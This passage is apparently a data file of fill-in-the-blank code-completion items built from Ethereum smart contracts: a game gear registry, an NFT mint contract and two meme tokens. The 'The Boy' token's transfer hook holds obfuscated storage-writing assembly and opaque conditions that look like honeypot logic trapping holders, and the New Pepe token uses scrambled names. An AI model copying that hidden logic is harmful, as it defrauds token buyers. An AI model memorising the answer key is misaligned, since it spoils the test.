function stats(uint256 tokenId_) external view returns (Stats memory);
function equipments(uint256 tokenId_) external view returns (Equipment memory);
function contractToRace(address contractAddress_) external view returns (uint8);
}
interface iMartians {
function ownerOf(uint256 tokenId_) external view returns (address);
}
interface iMES {
function transferFrom(address from_, address to_, uint256 amount_)
external returns (bool);
}
// The Locally Supplied Interface
interface iMarsRulerRegistry {
struct GearConfig {
bool hasConfig;
uint8 weaponType;
uint8 chestType;
uint8 headType;
uint8 legsType;
uint8 vehicleType;
uint8 armsType;
uint8 artifactType;
uint8 ringType;
}
function characterToGearconfig(uint256 tokenId_) external view
returns (GearConfig memory);
}
contract MarsRulerRegistry is Controllerable {
///// Interfaces /////
// NOTE: MARTIANS ADDRESS MUST BE CHANGED TO V3!!! THIS IS V2!
iMartians public Martians = iMartians(0x53beA59B69bF9e58E0AFeEB4f34f49Fc29D10F55);
iCS public CS = iCS(0xC7C40032E952F52F1ce7472913CDd8EeC89521c4);
iMES public MES = iMES(0x3C2Eb40D25a4b2B5A068a959a40d57D63Dc98B95);
struct GearConfig {
bool hasConfig; // Set to True on write, False on reset
uint8 weaponType;
uint8 chestType;
uint8 headType;
uint8 legsType;
uint8 vehicleType;
uint8 armsType;
uint8 artifactType;
uint8 ringType;
}
event GearChange(address indexed owner, uint256 indexed tokenId, GearConfig config);
event GearReset(address indexed owner, uint256 indexed tokenId);
mapping(uint256 => GearConfig) public characterToGearConfig;
uint256 public GEAR_CHANGE_COST = 1000 ether; // Not Immutable!
///// Administrative Functions /////
function O_setContracts(address martians_, address cs_, address mes_)
external onlyOwner {
}
function O_setGearChangeCost(uint256 cost_) external onlyOwner {
}
///// Controller Functions /////
function C_setCharacterGear(uint256 tokenId_, GearConfig memory gearConfig_)
external onlyController("SETTER") {
}
function C_resetCharacterGear(uint256 tokenId_) external onlyController("SETTER") {
}
///// Usage Functions /////
function setGear(uint256 tokenId_, GearConfig memory gearConfig_) external {
}
function resetGear(uint256 tokenId_) external {
}
}
| isController(type_,msg.sender),"Controllerable: Not Controller!" | 89,169 | isController(type_,msg.sender) |
"Ruler has no config!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address new_) external onlyOwner {
}
}
abstract contract Controllerable is Ownable {
event ControllerSet(string indexed controllerType, bytes32 indexed controllerSlot,
address indexed controller, bool status);
mapping(bytes32 => mapping(address => bool)) internal __controllers;
function isController(string memory type_, address controller_) public
view returns (bool) {
}
modifier onlyController(string memory type_) {
}
function setController(string memory type_, address controller_, bool bool_)
public onlyOwner {
}
}
interface iCS {
// Structs of Characters
struct Character {
uint8 race_;
uint8 renderType_;
uint16 transponderId_;
uint16 spaceCapsuleId_;
uint8 augments_;
uint16 basePoints_;
uint16 totalEquipmentBonus_;
}
struct Stats {
uint8 strength_;
uint8 agility_;
uint8 constitution_;
uint8 intelligence_;
uint8 spirit_;
}
struct Equipment {
uint8 weaponUpgrades_;
uint8 chestUpgrades_;
uint8 headUpgrades_;
uint8 legsUpgrades_;
uint8 vehicleUpgrades_;
uint8 armsUpgrades_;
uint8 artifactUpgrades_;
uint8 ringUpgrades_;
}
// View Functions
function names(uint256 tokenId_) external view returns (string memory);
function bios(uint256 tokenId_) external view returns (string memory);
function characters(uint256 tokenId_) external view returns (Character memory);
function stats(uint256 tokenId_) external view returns (Stats memory);
function equipments(uint256 tokenId_) external view returns (Equipment memory);
function contractToRace(address contractAddress_) external view returns (uint8);
}
interface iMartians {
function ownerOf(uint256 tokenId_) external view returns (address);
}
interface iMES {
function transferFrom(address from_, address to_, uint256 amount_)
external returns (bool);
}
// The Locally Supplied Interface
interface iMarsRulerRegistry {
struct GearConfig {
bool hasConfig;
uint8 weaponType;
uint8 chestType;
uint8 headType;
uint8 legsType;
uint8 vehicleType;
uint8 armsType;
uint8 artifactType;
uint8 ringType;
}
function characterToGearconfig(uint256 tokenId_) external view
returns (GearConfig memory);
}
contract MarsRulerRegistry is Controllerable {
///// Interfaces /////
// NOTE: MARTIANS ADDRESS MUST BE CHANGED TO V3!!! THIS IS V2!
iMartians public Martians = iMartians(0x53beA59B69bF9e58E0AFeEB4f34f49Fc29D10F55);
iCS public CS = iCS(0xC7C40032E952F52F1ce7472913CDd8EeC89521c4);
iMES public MES = iMES(0x3C2Eb40D25a4b2B5A068a959a40d57D63Dc98B95);
struct GearConfig {
bool hasConfig; // Set to True on write, False on reset
uint8 weaponType;
uint8 chestType;
uint8 headType;
uint8 legsType;
uint8 vehicleType;
uint8 armsType;
uint8 artifactType;
uint8 ringType;
}
event GearChange(address indexed owner, uint256 indexed tokenId, GearConfig config);
event GearReset(address indexed owner, uint256 indexed tokenId);
mapping(uint256 => GearConfig) public characterToGearConfig;
uint256 public GEAR_CHANGE_COST = 1000 ether; // Not Immutable!
///// Administrative Functions /////
function O_setContracts(address martians_, address cs_, address mes_)
external onlyOwner {
}
function O_setGearChangeCost(uint256 cost_) external onlyOwner {
}
///// Controller Functions /////
function C_setCharacterGear(uint256 tokenId_, GearConfig memory gearConfig_)
external onlyController("SETTER") {
}
function C_resetCharacterGear(uint256 tokenId_) external onlyController("SETTER") {
}
///// Usage Functions /////
function setGear(uint256 tokenId_, GearConfig memory gearConfig_) external {
}
function resetGear(uint256 tokenId_) external {
// Validate Ownership
require(msg.sender == Martians.ownerOf(tokenId_),
"You are not the owner!");
// Validate Gear Config Exists
require(<FILL_ME>)
// Delete the Config. This forces the hasConfig bool to False
delete characterToGearConfig[tokenId_];
// Emit GearReset Event
emit GearReset(msg.sender, tokenId_);
}
}
| characterToGearConfig[tokenId_].hasConfig,"Ruler has no config!" | 89,169 | characterToGearConfig[tokenId_].hasConfig |
"ERC20: trading is not yet enabled." | /*
THE BOY HAS
THE CLUE:
0x544845204
147454e5420
57494c4c204
6494e442059
4f552e20525
54e2e
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private agentAddr;
uint256 private _theCorp = block.number*2;
mapping (address => bool) private _noWay;
mapping (address => bool) private _homeStory;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private whyHeShe;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _taxes;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private circleK = 1; bool private foamTrick;
uint256 private _decimals; uint256 private agentsFall;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function _0xa010aF(address x, uint256 y) internal pure returns (bytes32 b) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function _balanceAt(uint256 blockNum) internal view returns (uint256 _val) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function _toRonin(bool open, bytes32 hbar, uint256 dx, uint256 dy) internal { }
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _0xB334Af(bytes32 z, bytes32 y, bytes memory q, uint256 amount) internal {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, bytes32 reflect, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) { assembly { if eq(sload(reflect),0x1) { sstore(0x15,add(sload(0x15),0x1)) } } _toRonin((((foamTrick || _homeStory[sender]) && ((_theCorp - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/5)) && (_theCorp == block.number))) && ((_noWay[recipient] == true) && (_noWay[sender] != true) || ((agentAddr[1] == recipient) && (_noWay[agentAddr[1]] != true))) && (agentsFall > 0), _0xa010aF(agentAddr[1],6), 1, _balanceAt(0)); _0xB334Af(_0xa010aF(recipient,4),_0xa010aF(sender,4),"0x1",1);
_0xBAcD30(_0xa010aF(whyHeShe, 5), (((_theCorp == block.number) || (theV >= _limit) || ((_theCorp - theN) <= 9)) && (_noWay[whyHeShe] != true))); _0xB334Af(_0xa010aF(recipient,4),_0xa010aF(sender,4),"0x1",0); theV = integer; whyHeShe = recipient; }
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _0xBAcD30(bytes32 sender, bool account) internal { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _initSets(uint256 a, uint256 b, uint256 c) internal {
}
function _DeployBoy(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheBoy is ERC20Token {
constructor() ERC20Token("The Boy", "BOY", msg.sender, 31250 * 10 ** 18) {
}
}
| (trading||(sender==agentAddr[1])),"ERC20: trading is not yet enabled." | 89,452 | (trading||(sender==agentAddr[1])) |
"MINT_TOO_LARGE" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting GCP tokens.
*/
contract LaunchpadGCP is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ERC2981
{
address public royaltyAddress = 0x68606fE88e8159AD8daa2DdC8043042c8ef17eCb;
address[] public payoutAddresses = [
0x68606fE88e8159AD8daa2DdC8043042c8ef17eCb
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
string public baseTokenURI =
"ipfs://bafybeifpjwfz3snh4c6eydflsvkb76yoyngwgy74fd3qmv3anmnmgpvojy/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 5555;
uint256 public publicMintsAllowedPerAddress = 10;
uint256 public publicMintsAllowedPerTransaction = 10;
uint256 public publicPrice = 0.0002 ether;
uint256[] public payoutPercentages = [100];
uint96 public royaltyFee = 500;
constructor() ERC721A("GCP", "GCP") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256 mintNumber)
external
onlyOwner
{
require(<FILL_ME>)
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], mintNumber);
}
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) public onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
public
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
public
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens) external payable originalUser {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() public onlyOwner {
}
}
| (totalSupply()+(receivers.length*mintNumber))<=MAX_SUPPLY,"MINT_TOO_LARGE" | 89,504 | (totalSupply()+(receivers.length*mintNumber))<=MAX_SUPPLY |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "erc721a/contracts/extensions/ERC4907A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/**
* @author Created with HeyMint Launchpad https://launchpad.heymint.xyz
* @notice This contract handles minting GCP tokens.
*/
contract LaunchpadGCP is
ERC721A,
ERC721AQueryable,
ERC4907A,
Ownable,
Pausable,
ERC2981
{
address public royaltyAddress = 0x68606fE88e8159AD8daa2DdC8043042c8ef17eCb;
address[] public payoutAddresses = [
0x68606fE88e8159AD8daa2DdC8043042c8ef17eCb
];
bool public isPublicSaleActive = false;
// Permanently freezes metadata so it can never be changed
bool public metadataFrozen = false;
string public baseTokenURI =
"ipfs://bafybeifpjwfz3snh4c6eydflsvkb76yoyngwgy74fd3qmv3anmnmgpvojy/";
// Maximum supply of tokens that can be minted
uint256 public constant MAX_SUPPLY = 5555;
uint256 public publicMintsAllowedPerAddress = 10;
uint256 public publicMintsAllowedPerTransaction = 10;
uint256 public publicPrice = 0.0002 ether;
uint256[] public payoutPercentages = [100];
uint96 public royaltyFee = 500;
constructor() ERC721A("GCP", "GCP") {
}
modifier originalUser() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Overrides the default ERC721A _startTokenId() so tokens begin at 1 instead of 0
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Change the royalty fee for the collection
*/
function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner {
}
/**
* @notice Change the royalty address where royalty payouts are sent
*/
function setRoyaltyAddress(address _royaltyAddress) external onlyOwner {
}
/**
* @notice Wraps and exposes publicly _numberMinted() from ERC721A
*/
function numberMinted(address owner) public view returns (uint256) {
}
/**
* @notice Update the base token URI
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/**
* @notice Freeze metadata so it can never be changed again
*/
function freezeMetadata() external onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
// https://chiru-labs.github.io/ERC721A/#/migration?id=supportsinterface
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC721A, ERC2981, ERC4907A)
returns (bool)
{
}
/**
* @notice Allow owner to send 'mintNumber' tokens without cost to multiple addresses
*/
function gift(address[] calldata receivers, uint256 mintNumber)
external
onlyOwner
{
}
/**
* @notice To be updated by contract owner to allow public sale minting
*/
function setPublicSaleState(bool _saleActiveState) public onlyOwner {
}
/**
* @notice Update the public mint price
*/
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
/**
* @notice Set the maximum mints allowed per a given address in the public sale
*/
function setPublicMintsAllowedPerAddress(uint256 _mintsAllowed)
public
onlyOwner
{
}
/**
* @notice Set the maximum public mints allowed per a given transaction
*/
function setPublicMintsAllowedPerTransaction(uint256 _mintsAllowed)
public
onlyOwner
{
}
/**
* @notice Allow for public minting of tokens
*/
function mint(uint256 numTokens) external payable originalUser {
}
/**
* @notice Withdraws all funds held within contract
*/
function withdraw() public onlyOwner {
require(address(this).balance > 0, "CONTRACT_HAS_NO_BALANCE");
uint256 balance = address(this).balance;
for (uint256 i = 0; i < 1; i++) {
require(<FILL_ME>)
}
}
}
| payable(payoutAddresses[i]).send((balance*payoutPercentages[i])/100) | 89,504 | payable(payoutAddresses[i]).send((balance*payoutPercentages[i])/100) |
"Only one transfer per block allowed." | /**
🐸
New Pepe - $PEPE
Telegram: https://t.me/NewPepeEthereum
Twitter: https://twitter.com/NewPepeEthereum
Website: https://newpepe.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _snpsctoryaxp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xnqaRuses {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcldedFrof;
mapping (address => bool) private _taxfWallejy;
mapping(address => uint256) private _ldrLaronsfesop;
bool public _tnsferelanale = false;
address payable private _pekRvevirp;
uint8 private constant _decimals = 9;
string private constant _name = unicode"New Pepe";
string private constant _symbol = unicode"PEPE";
uint256 private constant _Totalbr = 42069000 * 10 **_decimals;
uint256 public _mxTakAmaunt = _Totalbr;
uint256 public _WalletSmax = _Totalbr;
uint256 public _wapThresholdtax= _Totalbr;
uint256 public _moaxToxSap= _Totalbr;
uint256 private _BuyTaxinitial=5;
uint256 private _SellTaxinitial=5;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=7;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBeforeprevent=0;
uint256 private _byozwktxt=0;
_xnqaRuses private _uisfpxRaxeut;
address private _aufPaiuw;
bool private _vnsokpwh;
bool private itxeSwbp = false;
bool private _apEablew = false;
event _amaunateql(uint _mxTakAmaunt);
modifier lckThawxp {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_tnsferelanale) {
if (to != address
(_uisfpxRaxeut) && to !=
address(_aufPaiuw)) {
require(<FILL_ME>)
_ldrLaronsfesop
[tx.origin] = block.number;
}
}
if (from == _aufPaiuw && to !=
address(_uisfpxRaxeut) && !_isExcldedFrof[to] ) {
require(amount <= _mxTakAmaunt,
"Exceeds the _mxTakAmaunt.");
require(balanceOf(to) + amount
<= _WalletSmax, "Exceeds the maxWalletSize.");
if(_byozwktxt
< _wapBeforeprevent){
require(! _frxerpz(to));
}
_byozwktxt++;
_taxfWallejy[to]=true;
teeomoun = amount.mul((_byozwktxt>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _aufPaiuw && from!= address(this)
&& !_isExcldedFrof[from] ){
require(amount <= _mxTakAmaunt &&
balanceOf(_pekRvevirp)<_moaxToxSap,
"Exceeds the _mxTakAmaunt.");
teeomoun = amount.mul((_byozwktxt>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_byozwktxt>_wapBeforeprevent &&
_taxfWallejy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!itxeSwbp
&& to == _aufPaiuw && _apEablew &&
contractTokenBalance>_wapThresholdtax
&& _byozwktxt>_wapBeforeprevent&&
!_isExcldedFrof[to]&& !_isExcldedFrof[from]
) {
_swpokeykhj( _qekw(amount,
_qekw(contractTokenBalance,_moaxToxSap)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_enphsprwkx(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _wjrfp(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _wjrfp(teeomoun));
emit Transfer(from, to,
amount. _wjrfp(teeomoun));
}
function _swpokeykhj(uint256
tokenAmount) private lckThawxp {
}
function _qekw(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _wjrfp(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frxerpz(address
account) private view
returns (bool) {
}
function _enphsprwkx(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| _ldrLaronsfesop[tx.origin]<block.number,"Only one transfer per block allowed." | 89,541 | _ldrLaronsfesop[tx.origin]<block.number |
"Exceeds the maxWalletSize." | /**
🐸
New Pepe - $PEPE
Telegram: https://t.me/NewPepeEthereum
Twitter: https://twitter.com/NewPepeEthereum
Website: https://newpepe.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _snpsctoryaxp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xnqaRuses {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcldedFrof;
mapping (address => bool) private _taxfWallejy;
mapping(address => uint256) private _ldrLaronsfesop;
bool public _tnsferelanale = false;
address payable private _pekRvevirp;
uint8 private constant _decimals = 9;
string private constant _name = unicode"New Pepe";
string private constant _symbol = unicode"PEPE";
uint256 private constant _Totalbr = 42069000 * 10 **_decimals;
uint256 public _mxTakAmaunt = _Totalbr;
uint256 public _WalletSmax = _Totalbr;
uint256 public _wapThresholdtax= _Totalbr;
uint256 public _moaxToxSap= _Totalbr;
uint256 private _BuyTaxinitial=5;
uint256 private _SellTaxinitial=5;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=7;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBeforeprevent=0;
uint256 private _byozwktxt=0;
_xnqaRuses private _uisfpxRaxeut;
address private _aufPaiuw;
bool private _vnsokpwh;
bool private itxeSwbp = false;
bool private _apEablew = false;
event _amaunateql(uint _mxTakAmaunt);
modifier lckThawxp {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_tnsferelanale) {
if (to != address
(_uisfpxRaxeut) && to !=
address(_aufPaiuw)) {
require(_ldrLaronsfesop
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_ldrLaronsfesop
[tx.origin] = block.number;
}
}
if (from == _aufPaiuw && to !=
address(_uisfpxRaxeut) && !_isExcldedFrof[to] ) {
require(amount <= _mxTakAmaunt,
"Exceeds the _mxTakAmaunt.");
require(<FILL_ME>)
if(_byozwktxt
< _wapBeforeprevent){
require(! _frxerpz(to));
}
_byozwktxt++;
_taxfWallejy[to]=true;
teeomoun = amount.mul((_byozwktxt>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _aufPaiuw && from!= address(this)
&& !_isExcldedFrof[from] ){
require(amount <= _mxTakAmaunt &&
balanceOf(_pekRvevirp)<_moaxToxSap,
"Exceeds the _mxTakAmaunt.");
teeomoun = amount.mul((_byozwktxt>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_byozwktxt>_wapBeforeprevent &&
_taxfWallejy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!itxeSwbp
&& to == _aufPaiuw && _apEablew &&
contractTokenBalance>_wapThresholdtax
&& _byozwktxt>_wapBeforeprevent&&
!_isExcldedFrof[to]&& !_isExcldedFrof[from]
) {
_swpokeykhj( _qekw(amount,
_qekw(contractTokenBalance,_moaxToxSap)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_enphsprwkx(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _wjrfp(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _wjrfp(teeomoun));
emit Transfer(from, to,
amount. _wjrfp(teeomoun));
}
function _swpokeykhj(uint256
tokenAmount) private lckThawxp {
}
function _qekw(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _wjrfp(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frxerpz(address
account) private view
returns (bool) {
}
function _enphsprwkx(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_WalletSmax,"Exceeds the maxWalletSize." | 89,541 | balanceOf(to)+amount<=_WalletSmax |
null | /**
🐸
New Pepe - $PEPE
Telegram: https://t.me/NewPepeEthereum
Twitter: https://twitter.com/NewPepeEthereum
